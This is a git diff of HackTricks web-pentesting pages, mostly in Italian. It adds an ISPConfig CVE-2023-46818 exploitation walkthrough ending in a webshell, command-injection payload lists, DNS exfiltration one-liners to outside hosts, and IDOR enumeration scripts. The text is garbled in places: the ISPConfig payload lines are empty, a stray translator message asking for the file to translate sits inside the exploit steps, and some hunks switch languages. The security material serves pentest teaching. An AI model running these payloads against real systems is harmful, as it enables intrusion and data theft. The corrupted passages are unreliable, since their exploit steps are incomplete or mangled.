[**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). -- Google API keys: Se trovi qualche API key che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere. -- **S3 Buckets**: Durante lo spidering controlla se qualche **sottodominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/index.html). +- **Comments:** Controlla i commenti di tutti i file, potresti trovare **credentials** o **funzionalità nascoste**. +- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. +- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. +- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). -### Scoperte speciali +### Special findings -**Mentre** esegui lo **spidering** e il **brute-forcing** potresti trovare **cose** **interessanti** che devi **notare**. +**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. -**File interessanti** +**Interesting files** -- Cerca **link** ad altri file all'interno dei file **CSS**. -- [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md). -- Se trovi un _**.env**_ informazioni come chiavi API, password db e altre informazioni possono essere trovate. -- Se trovi **API endpoints** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali. -- **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica può indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti utilizzare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.** -- Dovresti anche controllare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per scoprire se è vulnerabile. -- **Javascript Deobfuscator e Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). -- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). -- **JsFuck deobfuscation** (javascript con caratteri:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). +- Look for **links** to other files inside the **CSS** files. +- [If you find a _**.git**_ file some information can be extracted](git.md) +- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. +- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. +- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** +- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. +- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) +- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) +- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- In diverse occasioni, sarà necessario **comprendere le espressioni regolari** utilizzate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex). -- Potresti anche **monitorare i file in cui sono stati rilevati moduli**, poiché una modifica nel parametro o l'apparizione di un nuovo modulo può indicare una potenziale nuova funzionalità vulnerabile. +- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) +- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,38 +313,38 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for **502 Proxy Error** -Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF. +If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. **NTLM Authentication - Info disclosure** -Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome** **del dominio**), puoi provocare una **divulgazione di informazioni**.\ -**Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione IIS, versione Windows...) all'interno dell'intestazione "WWW-Authenticate".\ -Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_". +If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ +**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ +You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -È possibile **inserire contenuti** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** lì dentro. +It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. -### Controllo delle vulnerabilità web +### Web Vulnerabilities Checking -Ora che è stata eseguita un'enumerazione completa dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui: +Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Trova ulteriori informazioni sulle vulnerabilità web in: +Find more info about web vulns in: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### Monitorare le pagine per modifiche +### Monitor Pages for changes -Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per modifiche che potrebbero inserire vulnerabilità. +You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. -### HackTricks Comandi Automatici +### HackTricks Automatic Commands ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md new file mode 100644 index 000000000..5e9dc05ff --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -0,0 +1,91 @@ +# ISPConfig + +{{#include ../../banners/hacktricks-training.md}} + +## Panoramica + +ISPConfig è un control panel di hosting open-source. Le vecchie build 3.2.x includevano una funzionalità di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'injection di codice PHP arbitrario tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP è eseguito, a privilege escalation. + +Percorsi predefiniti principali: +- Web root spesso in `/var/www/ispconfig` quando servito con `php -S` o via Apache/nginx. +- L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte legato solo a localhost; usa SSH port-forward se necessario). + +Suggerimento: se il pannello è legato localmente (es. `127.0.0.1:8080`), effettua il port-forward: +```bash +ssh -L 9001:127.0.0.1:8080 user@target +# then browse http://127.0.0.1:9001 +``` +## Language editor PHP code injection (CVE-2023-46818) + +- Interessato: ISPConfig fino a 3.2.11 (corretto in 3.2.11p1) +- Precondizioni: +- Effettuare il login con l'account superadmin integrato `admin` (altri ruoli non sono interessati secondo il vendor) +- Il language editor deve essere abilitato: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- Impatto: un admin autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web + +References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. + +### Manual exploitation flow + +1) Open/create a language file to obtain CSRF tokens + +Inviare una prima POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (`csrf_id`, `csrf_key`). Esempio di request path: `/admin/language_edit.php`. + +2) Inject PHP via records[] and save + +Inviare una seconda POST includendo i campi CSRF e un record di traduzione malevolo. Sonde minime per l'esecuzione di comandi: +```http +POST /admin/language_edit.php HTTP/1.1 +Host: 127.0.0.1:9001 +Content-Type: application/x-www-form-urlencoded +Cookie: ispconfig_auth=... + +lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= +``` +Out-of-band test (osservare ICMP): +```http +records[]= +``` +3) Scrivere file e caricare una webshell + +Usare `file_put_contents` per creare un file sotto un percorso raggiungibile via web (es., `admin/`): +```http +records[]= +``` +Poi scrivi una semplice webshell usando base64 per evitare caratteri problematici nel corpo della POST: +```http +records[]= +``` +Non vedo il contenuto da tradurre. Per favore incolla qui il testo del file src/network-services-pentesting/pentesting-web/ispconfig.md (o caricalo). Posso tradurlo in italiano mantenendo intatti codice, tag, link e percorsi come richiesto. +```bash +curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' +``` +Se PHP viene eseguito come root (es. tramite `php -S 127.0.0.1:8080` avviato da root), ciò porta a root RCE immediato. Altrimenti ottieni l'esecuzione di codice come l'utente del web server. + +### Python PoC + +Un exploit pronto all'uso automatizza la gestione dei token e la consegna del payload: +- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) + +Esempio di esecuzione: +```bash +python3 cve-2023-46818.py http://127.0.0.1:9001 admin +``` +### Rafforzamento + +- Aggiornare alla versione 3.2.11p1 o successiva +- Disabilitare l'editor delle lingue a meno che non sia strettamente necessario: +``` +admin_allow_langedit=no +``` +- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per ridurre i privilegi +- Applica un'autenticazione forte per l'account integrato `admin` + +## Riferimenti + +- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) +- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) +- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) +- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 8fa8ac771..94dbd6f77 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Che cos'è l'iniezione di comandi? +## Che cos'è command Injection? -Un **command injection** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi consente tipicamente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante. +Una **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi di solito consente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante. ### Contesto -A seconda di **dove il tuo input viene iniettato**, potresti dover **terminare il contesto citato** (utilizzando `"` o `'`) prima dei comandi. +A seconda di **dove il tuo input viene iniettato**, potrebbe essere necessario **chiudere il contesto tra virgolette** (usando `"` o `'`) prima dei comandi. ## Command Injection/Execution ```bash @@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) +ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs) #Only unix supported `ls` # `` @@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limitazioni** Bypass +### **Limitazioni** Bypasses -Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina linux** ti interesserà leggere riguardo a questi **Bypass:** +Se stai cercando di eseguire **comandi arbitrari su una macchina linux** potresti essere interessato a leggere questi **Bypasses:** {{#ref}} @@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametri -Ecco i 25 parametri principali che potrebbero essere vulnerabili a iniezioni di codice e vulnerabilità RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e ad altre RCE simili (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -74,9 +75,9 @@ Ecco i 25 parametri principali che potrebbero essere vulnerabili a iniezioni di ?run={payload} ?print={payload} ``` -### Estrazione di dati basata sul tempo +### Time based data exfiltration -Estrazione di dati: carattere per carattere +Estrazione dei dati: carattere per carattere ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -88,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### Esfiltrazione di dati basata su DNS +### DNS based data exfiltration -Basato sullo strumento di `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca +Basato sul tool di `https://github.com/HoLyVieR/dnsbin`, ospitato anche su dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Strumenti online per controllare l'esfiltrazione di dati basata su DNS: +Strumenti online per verificare l'esfiltrazione di dati basata su DNS: - dnsbin.zhack.ca - pingb.in -### Bypass del filtro +### Bypass del filtraggio #### Windows ``` @@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Quando si eseguono audit su back-end JavaScript/TypeScript, ci si imbatte spesso nell'API `child_process` di Node.js. +Quando esamini i back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,7 +130,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` genera una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che ha un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) risulterà in **command injection** quando l'input dell'utente è concatenato nella stringa. +`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che ha un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) porterà a **command injection** quando l'input utente viene concatenato nella stringa. **Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come un elemento separato dell'array** in modo che non sia coinvolta alcuna shell: ```javascript @@ -139,7 +140,7 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile attraverso un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, successivamente incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Irlanda 2024). +Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024). ## Elenco di rilevamento Brute-Force @@ -153,6 +154,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Estrazione di archivi crittografati Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 341be0a21..d4b83c1f4 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API rivela o accetta un identificatore controllabile dall'utente che viene utilizzato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto. -Lo sfruttamento riuscito consente normalmente l'escalation dei privilegi orizzontale o verticale, come la lettura o la modifica dei dati di altri utenti e, nel peggiore dei casi, il completo takeover dell'account o l'exfiltrazione di massa dei dati. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appare quando un endpoint web o API divulga o accetta un identificatore controllabile dall'utente che viene usato **direttamente** per accedere a un oggetto interno **senza verificare che il chiamante sia autorizzato** ad accedere/modificare quell'oggetto. +Un'exploitation riuscita normalmente permette privilege-escalation orizzontale o verticale come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, un completo account takeover o esfiltrazione massiva di dati. ---- -## 1. Identificazione dei potenziali IDOR +--- +## 1. Identificazione di potenziali IDOR -1. Cerca **parametri che fanno riferimento a un oggetto**: +1. Look for **parameters that reference an object**: * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` -2. Preferisci gli endpoint che **leggono o aggiornano** i dati (`GET`, `PUT`, `PATCH`, `DELETE`). +2. Preferisci endpoint che **leggono o aggiornano** dati (`GET`, `PUT`, `PATCH`, `DELETE`). 3. Nota quando gli identificatori sono **sequenziali o prevedibili** – se il tuo ID è `64185742`, allora `64185741` probabilmente esiste. -4. Esplora flussi nascosti o alternativi (ad es. *"Paradox team members"* link nelle pagine di login) che potrebbero esporre API aggiuntive. -5. Usa una **sessione autenticata a basso privilegio** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è solitamente un segno di IDOR. +4. Esplora flussi nascosti o alternativi (es. il link *"Paradox team members"* nelle pagine di login) che potrebbero esporre API aggiuntive. +5. Usa una **sessione autenticata a basso privilegio** e cambia solo l'ID **mantenendo lo stesso token/cookie**. L'assenza di un errore di autorizzazione è di solito un segno di IDOR. -### Quick manual tampering (Burp Repeater) +### Modifica manuale rapida (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Enumerazione automatizzata (Burp Intruder / ciclo curl) +### Enumerazione automatizzata (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -37,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ done ``` --- -## 2. Studio di Caso Reale – Piattaforma Chatbot McHire (2025) -Durante una valutazione del portale di reclutamento **McHire** alimentato da Paradox.ai, è stato scoperto il seguente IDOR: +### Error-response oracle for user/file enumeration + +Quando un download endpoint accetta sia un username che un filename (es. `/view.php?username=&file=`), differenze sottili nei messaggi di errore spesso creano un oracle: + +- username inesistente → "User not found" +- filename errato ma extension valida → "File does not exist" (a volte elenca anche i file disponibili) +- extension non valida → validation error + +Con qualsiasi authenticated session, puoi fuzz il parametro username tenendo un benign filename e filtrare sulla stringa "user not found" per scoprire utenti validi: +```bash +ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ +-b 'PHPSESSID=' \ +-w /opt/SecLists/Usernames/Names/names.txt \ +-fr 'User not found' +``` +Una volta identificati nomi utente validi, richiedere file specifici direttamente (es. `/view.php?username=amanda&file=privacy.odt`). Questo schema porta spesso alla divulgazione non autorizzata dei documenti di altri utenti e alla fuga di credenziali. + +--- +## 2. Caso di Studio Reale – Piattaforma Chatbot McHire (2025) + +Durante una valutazione del portale di reclutamento Paradox.ai-powered **McHire** è stato scoperto il seguente IDOR: * Endpoint: `PUT /api/lead/cem-xhr` -* Autorizzazione: cookie di sessione utente per **qualsiasi** account di test ristorante -* Parametro del corpo: `{"lead_id": N}` – identificatore numerico **sequenziale** di 8 cifre +* Autorizzazione: cookie di sessione utente per **qualsiasi** account di test del ristorante +* Parametro del body: `{"lead_id": N}` – identificatore numerico a 8 cifre, **sequenziale** -Riducendo `lead_id`, il tester ha recuperato PII **completa** di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) più un **JWT** del consumatore che consentiva il furto di sessione. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto circa **64 milioni** di record. +Diminuendo `lead_id` il tester ha ottenuto la **full PII** di candidati arbitrari (name, e-mail, phone, address, shift preferences) oltre a un consumer **JWT** che ha consentito il session hijacking. L'enumerazione dell'intervallo `1 – 64,185,742` ha esposto circa **64 million** record. -Richiesta di Proof-of-Concept: +Proof-of-Concept request: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. +Combinata con le **credenziali admin predefinite** (`123456:123456`) che garantivano l'accesso all'account di test, la vulnerabilità ha portato a una violazione critica dei dati a livello aziendale. --- ## 3. Impatto di IDOR / BOLA -* Escalation orizzontale – leggere/aggiornare/eliminare i dati di **altri utenti**. -* Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate agli admin. -* Violazione di massa dei dati se gli identificatori sono sequenziali (es. ID dei candidati, fatture). -* Presa di controllo dell'account rubando token o reimpostando le password di altri utenti. +* Escalation orizzontale – leggere/aggiornare/cancellare i dati di **altri utenti**. +* Escalation verticale – utente con basso privilegio ottiene funzionalità riservate agli admin. +* Violazione massiva dei dati se gli identificatori sono sequenziali (es., ID dei candidati, fatture). +* Acquisizione di account rubando token o reimpostando le password di altri utenti. --- -## 4. Mitigazioni e Migliori Pratiche -1. **Imporre l'autorizzazione a livello di oggetto** su ogni richiesta (`user_id == session.user`). +## 4. Mitigazioni & Best Practices +1. **Applica l'autorizzazione a livello di oggetto** su ogni richiesta (`user_id == session.user`). 2. Preferire **identificatori indiretti e non indovinabili** (UUIDv4, ULID) invece di ID auto-incrementali. -3. Eseguire l'autorizzazione **lato server**, non fare mai affidamento su campi di modulo nascosti o controlli UI. +3. Eseguire le autorizzazioni **lato server**, non fare mai affidamento su campi form nascosti o controlli UI. 4. Implementare controlli **RBAC / ABAC** in un middleware centrale. -5. Aggiungere **limitazione della velocità e logging** per rilevare l'enumerazione degli ID. -6. Testare la sicurezza di ogni nuovo endpoint (unità, integrazione e DAST). +5. Aggiungere **rate-limiting & logging** per rilevare l'enumerazione degli ID. +6. Testare la sicurezza di ogni nuovo endpoint (unitari, di integrazione e DAST). --- -## 5. Strumenti -* **Estensioni di BurpSuite**: Authorize, Auto Repeater, Turbo Intruder. +## 5. Tooling +* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. -* **Progetti Github**: `bwapp-idor-scanner`, `Blindy` (caccia IDOR in massa). +* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). + + ## Riferimenti * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}}